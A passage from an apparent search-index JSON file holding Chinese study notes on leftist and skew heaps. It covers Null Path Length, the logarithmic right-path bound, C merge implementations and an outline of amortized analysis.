\u5206\u949f</p>"},{"location":"NOTE/ADS/wk3_2/#_2","title":"\u5de6\u5f0f\u5806","text":"<p>\u5728\u6709\u7684\u60c5\u51b5\u4e0b\uff0c\u6211\u4eec\u9700\u8981\u8fdb\u884c\u5806\u7684\u5408\u5e76\u64cd\u4f5c\uff0c\u5de6\u5f0f\u5806\u5c31\u662f\u4e3a\u4e86\u5728merge\u64cd\u4f5c\u4e2d\u63d0\u4f9b\u66f4\u597d\u7684\u6027\u80fd\u3002</p>"},{"location":"NOTE/ADS/wk3_2/#_3","title":"\u5b9a\u4e49","text":"<p>NPL</p> <p>\u4e00\u4e2a\u8282\u70b9X\u7684 NPL(Null Path Length) \uff0cNPL(X)\u5b9a\u4e49\u4e3a\u4ece X \u5230\u4e00\u4e2a\u6ca1\u6709\u4e24\u4e2a\u513f\u5b50\u7684\u7ed3\u70b9\u7684\u6700\u77ed\u8def\u5f84\u7684\u957f\u3002\u56e0\u6b64\uff0c\u5177\u6709 0 \u4e2a\u6216 1 \u4e2a\u513f\u5b50\u7684\u7ed3\u70b9\u7684 Npl \u4e3a 0\uff0c\u4e14\u89c4\u5b9a Npl(null)=-1</p> \\[ NPL(X) = 1+min(NPL(left), NPL(right)) \\] <p>\u5de6\u5f0f\u5806-leftist Heap</p> <p>\u6bcf\u4e2a\u7ed3\u70b9\u7684\u5de6\u5b69\u5b50\u7684 Npl \u90fd\u8981\u5927\u4e8e\u7b49\u4e8e\u5176\u53f3\u5b69\u5b50\u7684 Npl\u3002\u6ce8\u610f\u8fd9\u4e00\u5b9a\u4e49\u9002\u7528\u4e8e\u6ca1\u6709\u4e24\u4e2a\u5b69\u5b50\u7684\u7ed3\u70b9\uff0c\u56e0\u4e3a\u6709\u5b9a\u4e49 Npl(null)=-1</p> <p>\u5411\u5de6\u8fb9\u503e\u659c\u6709\u4e00\u4e2a\u5f88\u597d\u7684\u6027\u8d28</p>"},{"location":"NOTE/ADS/wk3_2/#_4","title":"\u6027\u8d28","text":"<p>\u5728\u53f3\u8def\u5f84\u4e0a\u6709 \\(r\\) \u4e2a\u7ed3\u70b9\u7684\u5de6\u5f0f\u5806\u5fc5\u7136\u81f3\u5c11\u6709 \\(2^r \u2212 1\\) \u4e2a\u7ed3\u70b9\uff08\u53f3\u8def\u5f84\u6307\u4ece\u6839\u7ed3\u70b9\u51fa\u53d1\u4e00\u8def\u627e\u53f3\u5b69\u5b50\u76f4\u5230\u627e\u5230\u53f6\u5b50\u7684\u8def\u5f84\uff09\u3002</p> <p>\u8fd9\u4e00\u5b9a\u4e49\u6307\u51fa\uff1a\u82e5\u4e00\u5171\u6709 \\(n\\) \u4e2a\u7ed3\u70b9\uff0c\u90a3\u4e48\u53f3\u8def\u5f84\u4e0a\u7684\u7ed3\u70b9\u4e2a\u6570\u81f3\u591a\u4e3a \\(\\log(n + 1)\\)\uff0c\u56e0\u6b64\u5de6\u5f0f\u5806\u7684\u53f3\u8def\u5f84\u7ed3\u70b9\u6570\u81f3\u591a\u4e3a \\(\\log(n + 1)=O(\\log n)\\)\u3002</p> <p>Proof</p> <p>\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528\u6570\u5b66\u5f52\u7eb3\u6cd5\u8bc1\u660e\u8fd9\u4e00\u6027\u8d28</p> <p>\u4f7f\u7528\u6570\u5b66\u5f52\u7eb3\u6cd5\u8bc1\u660e\u3002\u82e5 \\(r = 1\\)\uff0c\u5219\u663e\u7136\u81f3\u5c11\u5b58\u5728 1 \u4e2a\u7ed3\u70b9\u3002\u8bbe\u5b9a\u7406\u5bf9\u53f3\u8def\u5f84\u4e0a\u6709\u5c0f\u4e8e\u7b49\u4e8e \\(r\\) \u4e2a\u7ed3\u70b9\u7684\u60c5\u51b5\u90fd\u6210\u7acb\uff0c\u73b0\u5728\u8003\u8651\u5728\u53f3\u8def\u5f84\u4e0a\u6709 \\(r + 1\\) \u4e2a\u7ed3\u70b9\u7684\u5de6\u5f0f\u5806\u3002\u6b64\u65f6\uff0c\u6839\u7684\u53f3\u5b50\u6811\u6070\u597d\u5728\u53f3\u8def\u5f84\u4e0a\u6709 \\(r\\) \u4e2a\u7ed3\u70b9\uff0c\u56e0\u6b64\u53f3\u5b50\u6811\u5927\u5c0f\u81f3\u5c11\u4e3a \\(2^r \u2212 1\\)\u3002\u8003\u8651\u5de6\u5b50\u6811\uff0c\u6839\u636e\u5de6\u5f0f\u5806\u5b9a\u4e49\u5de6\u5b50\u6811\u7684 Npl \u5fc5\u987b\u5927\u4e8e\u7b49 \u4e8e \\(r \u2212 1\\)\uff0c\u4e8b\u5b9e\u4e0a\u5f88\u5bb9\u6613\u5f52\u7eb3\u5f97\u5230 Npl \u5927\u4e8e\u7b49\u4e8e \\(r \u2212 1\\) \u7684\u6811\u53f3\u8def\u5f84\u81f3\u5c11\u6709 \\(r\\) \u4e2a\u7ed3\u70b9\uff0c\u56e0\u6b64\u5de6\u5b50\u6811\u5927\u5c0f\u4e5f \u81f3\u5c11\u4e3a \\(2^r \u2212 1\\)\uff0c\u56e0\u6b64\u6574\u68f5\u6811\u7684\u7ed3\u70b9\u6570\u81f3\u5c11\u4e3a</p> \\[1 + (2^r \u2212 1) + (2^r \u2212 1) = 2^{r+1} \u2212 1\\]"},{"location":"NOTE/ADS/wk3_2/#_5","title":"\u64cd\u4f5c\u4e0e\u5b9e\u73b0","text":"<p>wyy\u6709\u8bdd\u8bf4</p> <p>\u6709\u4e00\u4e2a\u76f4\u89c9\u662f\u503c\u5f97\u7279\u522b\u8bf4\u660e\u7684\uff0c\u5c31\u662f\u6211\u4eec\u53d1\u73b0\u5e73\u8861\u641c\u7d22\u6811\u4e2d\u6211\u4eec\u901a\u5e38\u8981\u6c42\u6811\u8d8a\u5e73\u8861\u8d8a\u597d\uff0c\u4f46\u5806\u5374\u4f3c\u4e4e\u4e0d\u9700\u8981\u8fd9\u4e00\u70b9\uff0c\u8fd9\u662f\u4e3a\u4ec0\u4e48\u5462\u3002\u8fd9\u662f\u56e0\u4e3a\u5806\u4e0d\u652f\u6301 find \u64cd\u4f5c\uff0c\u6240\u4ee5\u5de6\u5f0f\u5806\u5de6\u8fb9\u7684\u7ed3\u70b9\u5728\u64cd\u4f5c\u4e2d\u53ef\u4ee5\u5b8c\u5168\u4e0d\u88ab\u8bbf\u95ee\uff0c\u800c\u6211\u4eec\u4f1a\u77e5\u9053\u53ea\u5728\u53f3\u8def\u5f84\u4e0a\u64cd\u4f5c\u4e5f\u5b8c\u5168\u53ef\u4ee5\u89e3\u51b3\u63d2\u5165\u3001\u5220\u9664\u6700\u5c0f\u503c\u548c\u5408\u5e76\uff0c\u56e0\u6b64\u6211\u4eec\u5b8c\u5168\u4e0d\u9700\u8981\u4fdd\u6301\u6811\u7684\u5e73\u8861\u3002</p>"},{"location":"NOTE/ADS/wk3_2/#mergeinsert","title":"Merge&amp;Insert","text":"<p>Insert\uff1a\u53ef\u4ee5\u89c6\u4e3a\u4e00\u4e2a\u5806\u548c\u4e00\u4e2a\u5355\u7ed3\u70b9\u7684\u5806\u7684Merge\uff0c\u56e0\u6b64\u95ee\u9898\u8f6c\u5316\u4e3aMerge\u3002</p> <p>\u9012\u5f52\u5b9e\u73b0</p> <pre><code>PriorityQueue  Merge ( PriorityQueue H1, PriorityQueue H2 )\n{ \n    if ( H1 == NULL )   return H2;  \n    if ( H2 == NULL )   return H1;  \n    if ( H1-&gt;Element &lt; H2-&gt;Element )  return Merge1( H1, H2 );\n    else return Merge1( H2, H1 );\n}\n\nstatic PriorityQueue\nMerge1( PriorityQueue H1, PriorityQueue H2 )\n{ \n    if ( H1-&gt;Left == NULL )     /* single node */\n        H1-&gt;Left = H2;  /* H1-&gt;Right is already NULL \n                    and H1-&gt;Npl is already 0 */\n    else {\n        H1-&gt;Right = Merge( H1-&gt;Right, H2 );     /* Step 1 &amp; 2 */\n        if ( H1-&gt;Left-&gt;Npl &lt; H1-&gt;Right-&gt;Npl )\n            SwapChildren( H1 ); /* Step 3 */\n        H1-&gt;Npl = H1-&gt;Right-&gt;Npl + 1;\n    } /* end else */\n    return H1;\n}\n</code></pre> <p>Note</p> <p>\u8fd9\u91cc\u5206\u5f00\u4e24\u4e2a\u51fd\u6570\u5199\u4e3b\u8981\u662f\u4e3a\u4e86\u907f\u514d\u91cd\u590d\u5199<code>H1</code>\u63a5\u5230<code>H2</code>\u548c<code>H2</code>\u63a5\u5230<code>H1</code>\u7684\u4ee3\u7801\uff0c\u8fd9\u6837\u53ef\u4ee5\u8fdb\u4e00\u6b65\u7684\u6a21\u5757\u5316\u51cf\u5c11\u4ee3\u7801\u91cf\u3002</p> <p>\u5176\u4e3b\u8981\u6b65\u9aa4\u4e3a</p> <ol> <li>\u5982\u679c\u4e24\u4e2a\u5806\u4e2d\u81f3\u5c11\u6709\u4e00\u4e2a\u662f\u7a7a\u7684\uff0c\u90a3\u4e48\u76f4\u63a5\u8fd4\u56de\u53e6\u4e00\u4e2a\u5373\u53ef\uff1b</li> <li>\u5982\u679c\u4e24\u4e2a\u5806\u90fd\u975e\u7a7a\uff0c\u6211\u4eec\u6bd4\u8f83\u4e24\u4e2a\u5806\u7684\u6839\u7ed3\u70b9 key \u7684\u5927\u5c0f\uff0ckey \u5c0f\u7684\u662f H1\uff0ckey \u5927\u7684\u662f H2\uff1b</li> <li>\u5982\u679c H1 \u53ea\u6709\u4e00\u4e2a\u9876\u70b9\uff08\u6839\u636e\u5de6\u5f0f\u5806\u7684\u5b9a\u4e49\uff0c\u53ea\u8981\u5b83\u6ca1\u6709\u5de6\u5b69\u5b50\u5c31\u4e00\u5b9a\u662f\u5355\u70b9\uff09\uff0c\u76f4\u63a5\u628a H2 \u653e\u5728 H1 \u7684\u5de6\u5b50\u6811\u5c31\u5b8c\u6210\u4efb\u52a1\u4e86\uff08\u5f88\u5bb9\u6613\u9a8c\u8bc1\u8fd9\u6837\u5f97\u5230\u7684\u7ed3\u6784\u7b26\u5408\u5de6\u5f0f\u5806\u6027\u8d28\uff0c\u6b64\u65f6 Npl \u4e5f\u6ca1\u6709\u53d8\u5316\uff09\uff1b</li> <li>\u5982\u679c H1 \u4e0d\u53ea\u6709\u4e00\u4e2a\u9876\u70b9\uff0c\u5219\u5c06 H1 \u7684\u53f3\u5b50\u6811\u548c H2 \u5408\u5e76\uff08\u8fd9\u662f\u9012\u5f52\u7684\u4f53\u73b0\uff0c\u5728 base case \u8bbe\u8ba1\u826f\u597d\uff0c\u5176\u5b83\u6b65\u9aa4\u4e5f\u90fd\u5408\u7406\u7684\u60c5\u51b5\u4e0b\u4f60\u5b8c\u5168\u53ef\u4ee5\u76f8\u4fe1\u8fd9\u4e00\u6b65\u9012\u5f52\u5e2e\u4f60\u505a\u5bf9\u4e86\uff09\uff0c\u6210\u4e3a H1 \u7684\u65b0\u53f3\u5b50\u6811\uff1b</li> <li>\u5982\u679c H1 \u7684 Npl \u6027\u8d28\u88ab\u8fdd\u53cd\uff0c\u5219\u4ea4\u6362\u5b83\u7684\u4e24\u4e2a\u5b50\u6811\uff1b</li> <li>\u66f4\u65b0 H1 \u7684 Npl\uff0c\u7ed3\u675f\u4efb\u52a1</li> </ol> \u5408\u5e76\u7684\u5199\u6cd5 <pre><code>PriorityQueue Merge( PriorityQueue H1, PriorityQueue H2 )\n{ \nif (H1==NULL) return H2;\nif (H2==NULL) return H1;\nif (H1-&gt;Element&gt;H2-&gt;Element)\n    swap(H1, H2);  //swap H1 and H2\nif ( H1-&gt;Left == NULL )\n    H-&gt;Left=H2;                  \nelse {\n    H1-&gt;Right = Merge( H1-&gt;Right, H2 );\n    if ( H1-&gt;Left-&gt;Npl &lt; H1-&gt;Right-&gt;Npl )\n    SwapChildren( H1 );  //swap the left child and right child of H1\n    H1-&gt;Npl=H1-&gt;Right-&gt;Npl+1;\n}\nreturn H1;\n}\n</code></pre> <p><code>swap</code>\u51fd\u6570\u53ef\u4ee5\u8c03\u7528<code>std::swap</code>\uff0c\u4e5f\u53ef\u4ee5\u81ea\u5df1\u5b9e\u73b0\u3002</p> <p>\u9012\u5f52\u5b9e\u73b0\u7684\u590d\u6742\u5ea6</p> <p>\u9996\u5148\u5206\u6790\u9012\u5f52\u7684\u6700\u5927\u6df1\u5ea6\u3002\u6211\u4eec\u53d1\u73b0\uff0c\u5728 1-5 \u6b65\u8fd9\u6837\u7684\u9012\u5f52\u8fc7\u7a0b\u4e2d\uff0c\u4ea7\u751f\u7684\u9012\u5f52\u5c42\u6570\u4e0d\u4f1a\u8d85\u8fc7\u4e24\u4e2a\u5de6\u5f0f\u5806\u7684\u53f3\u8def\u5f84\u957f\u5ea6\u4e4b\u548c\uff0c\u56e0\u4e3a\u6bcf\u6b21\u9012\u5f52\u90fd\u4f1a\u4f7f\u5f97\u4e24\u4e2a\u5806\u7684\u5176\u4e2d\u4e00\u4e2a\uff08\u6839\u7ed3\u70b9 key \u66f4\u5c0f\u7684\uff09\u5411\u7740\u53f3\u8def\u5f84\u4e0a\u4e0b\u4e00\u4e2a\u53f3\u5b69\u5b50\u63a8\u8fdb\uff0c\u5e76\u4e14\u76f4\u5230\u5176\u4e2d\u4e00\u4e2a\u63a8\u5230\u4e86 null \u7ed3\u70b9\u5c31\u4e0d\u518d\u52a0\u6df1\u9012\u5f52\u3002\u6ce8\u610f\u52a0\u6df1\u4e00\u5c42\u7684\u8fc7\u7a0b\u4e2d\u7684\u64cd\u4f5c\u662f\u5e38\u6570\u7684\uff0c\u56e0\u4e3a\u53ea\u9700\u8981\u7b80\u5355\u7684\u5927\u5c0f\u6bd4\u8f83\u548c\u627e\u5b69\u5b50\uff0c\u52a0\u4e0a\u53f3\u8def\u5f84\u957f\u5ea6\u7684\u9650\u5236\uff0c\u56e0\u6b64\u9012\u5f52\u5411\u4e0b\u7684\u8fc7\u7a0b\u662f \\(O(\\log n)\\) \u7684\u3002\u8fd9\u4e00\u70b9\u6211\u4eec\u53ef\u4ee5\u66f4\u4e25\u8c28\u5730\u5c55\u5f00\uff1a\u5047\u8bbe \\(H1\\) \u5927\u5c0f\u4e3a \\(N1\\)\uff0c\\(H2\\) \u5927\u5c0f\u4e3a \\(N2\\)\uff0c\u4e24\u8005\u8def\u5f84\u4e4b\u548c</p> \\[O( \\log N1 + \\log N2) = O(\\log N1N2) = O(log \\sqrt{N1N2}) = O(\\log(N1 + N2))\\] <p>\u4e0a\u9762\u7684\u63a8\u5bfc\u7528\u5230\u4e86\u57fa\u672c\u4e0d\u7b49\u5f0f \\(a + b \\geqslant 2\\sqrt{ab}\\)\u3002\u603b\u800c\u8a00\u4e4b\uff0c\u4e24\u4e2a\u5806\u53f3\u8def\u5f84\u957f\u5ea6\u4e4b\u548c\u4ecd\u7136\u662f\u4e24\u4e2a\u5806\u5927\u5c0f\u7684\u5bf9\u6570\u7ea7\u522b\uff0c\u56e0\u6b64\u9012\u5f52\u5c42\u6570\u662f \\(O(\\log n)\\) \u7684\u662f\u51c6\u786e\u7684\u63a5\u4e0b\u6765\u5206\u6790\u9012\u5f52\u8fd4\u56de\u7684\u64cd\u4f5c\uff0c\u4e8b\u5b9e\u4e0a\u6bcf\u4e00\u5c42\u7684\u64cd\u4f5c\u4e5f\u662f\u5e38\u6570\u7684\uff0c\u56e0\u4e3a\u53ea\u9700\u8981\u63a5\u4e0a\u65b0\u7684\u6307\u9488\uff0c\u5224\u65ad\u3001\u4ea4\u6362 \u5b50\u6811\u4ee5\u53ca\u66f4\u65b0 Npl\uff0c\u6240\u4ee5\u4e5f\u662f \\(O(\\log n)\\) \u7684\uff0c\u56e0\u6b64\u603b\u7684\u65f6\u95f4\u590d\u6742\u5ea6\u5c31\u662f \\(O(\\log n)\\) \u7684\u3002</p> <p>\u8fed\u4ee3\u5b9e\u73b0</p> <p>\u9012\u5f52\u8fc7\u7a0b\u7684\u5c55\u5f00\u5b9e\u9645\u4e0a\u5c31\u7b49\u4ef7\u4e8e\u8fed\u4ee3\u7b97\u6cd5\u7684\u6d41\u7a0b\uff1a\u6bcf\u4e00\u6b21\u9012\u5f52\u5411\u4e0b\u5bf9\u5e94\u8fed\u4ee3\u4e2d\u4fdd\u7559\u6839\u7ed3\u70b9\u66f4\u5c0f\u7684\u5806\u7684\u5de6\u5b50\u6811\uff08\u5c31\u50cf\u662f\u5de6\u5b50\u6811\u4e0d\u52a8\uff0c\u53f3\u5b50\u6811\u7b49\u7740\u63a5\u4e0b\u6765\u5408\u5e76\u7684\u7ed3\u679c\uff09\uff0c\u76f4\u5230\u6700\u540e\u4e00\u6b21\u4e0e null\u5408\u5e76\u76f4\u63a5\u63a5\u4e0a\uff0c\u9012\u5f52\u8fd4\u56de\u8fc7\u7a0b\u5b9e\u9645\u4e0a\u5c31\u662f\u9010\u4e2a\u68c0\u67e5\u65b0\u7684\u53f3\u8def\u5f84\u4e0a\u7684\u7ed3\u70b9\u662f\u5426\u6709\u8fdd\u53cd Npl \u6027\u8d28\u7684\u5e76\u4e14\u66f4\u65b0 Npl \u5373\u53ef\uff0c\u5176\u5b83\u7ed3\u70b9\u65e0\u9700\u5173\u5fc3\u662f\u56e0\u4e3a\u5b83\u4eec\u6839\u672c\u5c31\u4e0d\u53d7\u5f71\u54cd\u56e0\u4e3a\u6211\u4eec\u5df2\u7ecf\u8bf4\u660e\u4e86\u8fed\u4ee3\u548c\u9012\u5f52\u7684\u6bcf\u4e00\u6b65\u90fd\u662f\u6709\u5bf9\u5e94\u5173\u7cfb\u7684\uff0c\u53ea\u4e0d\u8fc7\u9012\u5f52\u662f\u6700\u540e\u8fd4\u56de\u65f6\u624d\u63a5\u4e0a\u6bcf\u4e2a\u7ed3\u70b9\u7684\u53f3\u5b50\u6811\uff0c\u8fed\u4ee3\u8fc7\u7a0b\u4e2d\u5c31\u5df2\u7ecf\u63a5\u597d\u4e86\uff0c\u56e0\u6b64\u4e8c\u8005\u65f6\u95f4\u590d\u6742\u5ea6\u662f\u4e00\u6837\u7684\u3002\u5f53\u7136\uff0c\u6211\u4eec\u5728\u5b8c\u6210\u4e0a\u9762\u7684\u6d41\u7a0b\u540e\u4f1a\u6709\u4e00\u4e2a\u89c2\u5bdf\uff0c\u5c31\u662f\u5728\u9012\u5f52\u5411\u4e0b\u4e4b\u540e\uff0c\u6216\u8005\u8bf4\u4ea4\u6362\u5b69\u5b50\u8c03\u6574\u5de6\u5f0f\u5806\u6027\u8d28\u4e4b\u524d\uff0c\u5408\u5e76\u5f97\u5230\u7684\u5806\u7684\u53f3\u8def\u5f84\u662f\u539f\u6765\u4e24\u4e2a\u5806\u7684\u53f3\u8def\u5f84\u5408\u5e76\u6392\u5e8f\u7684\u7ed3\u679c\uff0c\u901a\u8fc7\u4e0a\u9762\u7684\u8fc7\u7a0b\u6211\u4eec\u5f88\u5bb9\u6613\u8bc1\u660e\u8fd9\u4e00\u7ed3\u8bba\u662f\u901a\u7528\u7684\uff0c\u56e0\u4e3a\u6211\u4eec\u6bcf\u6b21\u90fd\u5728\u6bd4\u8f83\u4e24\u4e2a\u5806\u7684\u53f3\u8def\u5f84\u4e0a\u4e24\u4e2a\u70b9\u7684\u5927\u5c0f\uff0c\u7136\u540e\u628a\u5c0f\u7684\u4f5c\u4e3a\u6839\u63d2\u5165\u3002\u6709\u4e86\u8fd9\u4e00\u89c4\u5f8b\uff0c\u6211\u4eec\u505a\u9898\u4f1a\u66f4\u5feb\u6377\u4e00\u4e9b\uff0c\u56e0\u4e3a\u4f60\u53ea\u9700\u8981\u628a\u4e24\u6761\u53f3\u8def\u5f84\u4ece\u5c0f\u5230\u5927\u6392\u5e8f\uff0c\u7136\u540e\u4ece\u5c0f\u5230\u5927\u4f9d\u6b21\u5e26\u7740\u5de6\u5b50\u6811\u63a5\u5165\u5230\u65b0\u7684\u53f3\u8def\u5f84\u5373\u53ef\uff08\u4f46\u8981\u6ce8\u610f\u5728\u6b64\u4e4b\u540e\u8fd8\u9700\u8981\u8c03\u6574\u4f7f\u5f97\u6ee1\u8db3\u5de6\u5f0f\u5806\u7ed3\u6784\u6027\u8d28\uff09\u3002\u56e0\u6b64\u6211\u4eec\u7528\u4ee3\u7801\u5b9e\u73b0\u8fed\u4ee3\u7248\u672c\u4e5f\u5e76\u6ca1\u6709\u60f3\u8c61\u4e2d\u590d\u6742\uff0c\u53ea\u9700\u8981\u5bf9\u4e24\u4e2a\u5806\u53f3\u8def\u5f84\u4ece\u5c0f\u5230\u5927\u904d\u5386\u64cd\u4f5c\uff0c\u7136\u540e\u518d\u4ece\u53f3\u8def\u5f84\u6700\u540e\u4e00\u4e2a\u70b9\u8fd4\u56de\u6839\u7ed3\u70b9\uff0c\u8fc7\u7a0b\u4e2d\u68c0\u67e5\u7ed3\u6784\u6027\u8d28\u5e76\u66f4\u65b0 Npl \u5373\u53ef</p> <pre><code>void npl_update(LeftistHeap h) {\n    if (h == NULL) return;\n    h-&gt;npl = h-&gt;right == NULL ? 0 : h-&gt;right-&gt;npl + 1;\n}\n\nLeftistHeap merge_iterative(LeftistHeap h1, LeftistHeap h2) {\n    if (h1 == NULL) return h2;\n    if (h2 == NULL) return h1;\n    LeftistHeap stack[MAX_STACK_SIZE] = {NULL};\n    int top = -1;\n    LeftistHeap h = NULL;//\u521b\u5efa\u65b0\u5806\n    LeftistHeap *p = &amp;h;//\u6307\u5411\u65b0\u5806\u7684\u6307\u9488\uff0c\u7528\u4e8e\u66f4\u65b0\n    while (h1 != NULL &amp;&amp; h2 != NULL) {\n        if (h1-&gt;key &gt; h2-&gt;key) {\n            swap(h1, h2);\n        }//\u4fdd\u8bc1h1\u7684key\u5c0f\u4e8eh2\n        stack[++top] = h1;//\u5c06h1\u5165\u6808\n        *p = h1;//\u4fee\u6539\u65b0\u5806\u5bf9\u5e94\u4f4d\u7f6e\u4e0a\u7684\u503c\n        p = &amp;h1-&gt;right;//\u6307\u9488\u6307\u5411\u4e0b\u4e00\u4e2a\u9700\u8981\u66f4\u65b0\u7684\u4f4d\u7f6e\n        LeftistHeap next = h1-&gt;right;//\u4fdd\u7559\u4e0b\u4e00\u4e2ah1\n        h1-&gt;right = h2;//\u5c06h2\u63a5\u5230h1\u7684\u53f3\u8fb9,\u5982\u679c\u6b64\u65f6\u63a5\u5f97\u4e0d\u5bf9\uff0c\u4f1a\u5728\u4e0b\u4e00\u6b21\u5faa\u73af\u4e2d*p=h1\uff0c\u6765\u4fee\u6539\n        h1 = next;//\u66f4\u65b0h1  \n    }\n    *p = h1 == NULL ? h2 : h1;//\u5269\u4f59\u7684\u76f4\u63a5\u63a5\u4e0a\n    while (top &gt;= 0) {\n        npl_update(stack[top--]);\n    }//\u66f4\u65b0npl\n    adjust(h);//\u8c03\u6574\u5806\n    return h;\n}\n\nvoid adjust(LeftistHeap h) {\n    if (h == NULL) return;\n    adjust(h-&gt;right);\n    if (h-&gt;right == NULL) return\uff1b\n    if (h-&gt;left==NULL||h-&gt;left-&gt;npl &lt; h-&gt;right-&gt;npl) {\n        swap(h-&gt;left, h-&gt;right);\n    }\n    npl_update(h);\n}\n</code></pre>"},{"location":"NOTE/ADS/wk3_2/#_6","title":"\u659c\u5806","text":"<p>\u659c\u5806\u4e0e\u5de6\u5f0f\u5806\u7684\u5173\u7cfb\u5c31\u50cf\u662f splay \u6811\u548c AVL \u6811\u4e4b\u95f4\u7684\u5173\u7cfb\u3002\u56de\u987e splay \u6811\uff0c\u5b83\u5e76\u4e0d\u9700\u8981\u7ef4\u62a4 AVL \u6811\u4e2d\u7684 bf \u5c5e\u6027\uff0c\u53ea\u9700\u8981\u5728\u8bbf\u95ee\u4e00\u4e2a\u7ed3\u70b9\u4e4b\u540e\u5c31\u65e0\u8111\u5730\u5c06\u5b83\u7528 zig/zig-zig/zig-zag \u4e09\u79cd\u60c5\u51b5\u5c06\u5b83\u7ffb\u5230\u6839\u7ed3\u70b9\u5373\u53ef\u3002</p> <p>\u659c\u5806\u4e5f\u662f\u7c7b\u4f3c\u7684\u60f3\u6cd5\uff0c\u5b83\u4e0d\u7528\u518d\u7ef4\u62a4 Npl\uff0c\u56e0\u6b64\u5728\u9012\u5f52\u8fc7\u7a0b\u4e2d\u5de6\u5f0f\u5806\u6240\u6709\u7ef4\u62a4\u7ed3\u6784\u6027\u8d28\u4ee5\u53ca\u66f4\u65b0 Npl \u7684</p> <p>\u64cd\u4f5c\u4e0d\u518d\u9700\u8981\uff0c\u53d6\u800c\u4ee3\u4e4b\u7684\u662f\u5982\u4e0b\u64cd\u4f5c:</p> <p>\u659c\u5806</p> <ol> <li> <p>\u5728 base case \u662f\u5904\u7406 H \u4e0e null \u8fde\u63a5\u7684\u60c5\u51b5\u65f6\uff0c\u5de6\u5f0f\u5806\u76f4\u63a5\u8fd4\u56de H \u5373\u53ef\uff0c\u4f46\u659c\u5806\u5fc5\u987b\u770b H \u7684\u53f3\u8def\u5f84\uff0c\u6211\u4eec\u8981\u6c42 H \u53f3\u8def\u5f84\u4e0a\u9664\u4e86\u6700\u5927\u7ed3\u70b9\u4e4b\u5916\u90fd\u5fc5\u987b\u4ea4\u6362\u5176\u5de6\u53f3\u5b69\u5b50\u3002</p> </li> <li> <p>\u5728\u975e base case \u65f6\uff0c\u82e5 H1 \u7684\u6839\u7ed3\u70b9\u5c0f\u4e8e H2\uff0c\u5982\u679c\u662f\u5de6\u5f0f\u5806\uff0c\u6211\u4eec\u9700\u8981\u5408\u5e76 H1 \u7684\u53f3\u5b50\u6811\u548c H2\u4f5c\u4e3a H1 \u7684\u65b0\u53f3\u5b50\u6811\uff0c\u6700\u540e\u518d\u5224\u65ad\u8fd9\u6837\u662f\u5426\u8fdd\u53cd\u6027\u8d28\u51b3\u5b9a\u662f\u5426\u4ea4\u6362\u5de6\u53f3\u5b69\u5b50\uff0c\u659c\u5806\u76f4\u63a5\u65e0\u8111\u4ea4\u6362\uff0c\u4e5f\u5c31\u662f\u8bf4\u6bcf\u6b21\u8fd9\u79cd\u60c5\u51b5\u90fd\u628a H1 \u7684\u5de6\u5b69\u5b50\u6362\u5230\u53f3\u5b69\u5b50\u7684\u4f4d\u7f6e\uff0c\u7136\u540e\u628a\u65b0\u5408\u5e76\u7684\u63d2\u5165\u5728 H1 \u7684\u5de6\u5b50\u6811\u4e0a\u3002</p> </li> </ol> <p>\u603b\u7684\u6765\u8bf4\uff0c\u659c\u5806\u7684\u57fa\u672c\u64cd\u4f5c\u4e0e\u5de6\u5f0f\u5806\u7c7b\u4f3c\uff0c\u4f46\u662f\u6bcf\u4e00\u6b21\u9012\u5f52\u5b8c\u6bd5\u90fd\u8fdb\u884c\u4e0d\u52a0\u5224\u65ad\u5927\u5c0f\u7684\u4ea4\u6362\u64cd\u4f5c</p> <p>Example</p> <p></p> <p>\u5982\u679c\u6211\u4eec\u50cf\u524d\u9762\u5206\u6790\u5de6\u5f0f\u5806\u90a3\u6837\u5c55\u5f00\u9012\u5f52\u7684\u6bcf\u4e00\u6b65\uff0c\u524d\u9762\u7684\u8fc7\u7a0b\u5f88\u597d\u7406\u89e3\uff0c\u5c31\u662f\u65e0\u8111\u4ea4\u6362\u6839\u7684 key \u66f4\u5c0f\u7684\u5806\u7684\u5de6\u53f3\u5b69\u5b50\uff0c\u5173\u952e\u5728\u4e8e\u5f53\u9012\u5f52\u5230\u6700\u6df1\u7684\u4e00\u5c42\u6211\u4eec\u770b\u5230\u5b9e\u9645\u4e0a\u662fmerge \u4e00\u4e2a null \u5806\u548c\u4e00\u4e2a 18 \u4e3a\u6839\u300135 \u4e3a 18 \u7684\u5de6\u5b69\u5b50\u7684\u5806\uff0c\u6211\u4eec\u770b\u4e0a\u9762\u64cd\u4f5c\u7684\u7b2c\u4e00\u6761\uff0c\u8fd9\u4e2a\u5806\u7684\u53f3\u8def\u5f84\u4e0a\u9664\u4e86\u6700\u5927\u7ed3\u70b9\u5916\u90fd\u8981\u4ea4\u6362\u5de6\u53f3\u5b69\u5b50\uff0c\u4f46\u5e78\u8fd0\u7684\u662f\uff0c\u8fd9\u4e2a\u5806\u53f3\u8def\u5f84\u53ea\u6709 18 \u4e00\u4e2a\u7ed3\u70b9\uff0c\u5b83\u662f\u6700\u5927\u7684\uff0c\u6240\u4ee5\u65e0\u9700\u4ea4\u6362\u3002\u7ef4\u57fa\u767e\u79d1\u7b49\u5730\u65b9\u7684\u659c\u5806 base case \u4e4b\u540e\u90fd\u65e0\u9700\u64cd\u4f5c\uff0c\u4f46\u8fd9\u91cc\u53ef\u80fd\u8fd8\u6709\u64cd\u4f5c</p> <p>\u6700\u540e\u5408\u5e76\u51fa\u7684\u5806\u7684\u5de6\u8def\u5f84\u4e0a\u8bb2\u5305\u542b\u4e24\u4e2a\u539f\u59cb\u5806\u7684\u53f3\u8def\u5f84\u6392\u5e8f\u540e\u7684\u7ed3\u679c\uff0c\u5f53\u7136\u540e\u9762\u8fd8\u53ef\u80fd\u8fde\u7740\u539f\u59cb\u5806\u53f3\u8def\u5f84\u6700\u5927\u503c\u7684\u4e00\u4e9b\u5de6\u5b69\u5b50\uff08\u56e0\u4e3a\u8fd9\u4e9b\u5de6\u5b69\u5b50\u662f\u4e0d\u88ab\u4ea4\u6362\u7684\uff09</p>"},{"location":"NOTE/ADS/wk3_2/#_7","title":"\u659c\u5806\u7684\u644a\u8fd8\u5206\u6790","text":"<p>\u659c\u5806\u7684\u671f\u671b\u7c7b\u4f3c\u4e8eSplay tree\uff0cAny M consecutive operations take at most \\(O(M \\log N)\\) time,\u4e3a\u4e86\u8bc1\u660e\u8fd9\u4e2a\uff0c\u6211\u4eec\u4ecd\u7136\u9700\u8981\u7528\u52bf\u51fd\u6570\u6cd5\u6765\u8fdb\u884c\u644a\u8fd8\u5206\u6790\u3002</p> 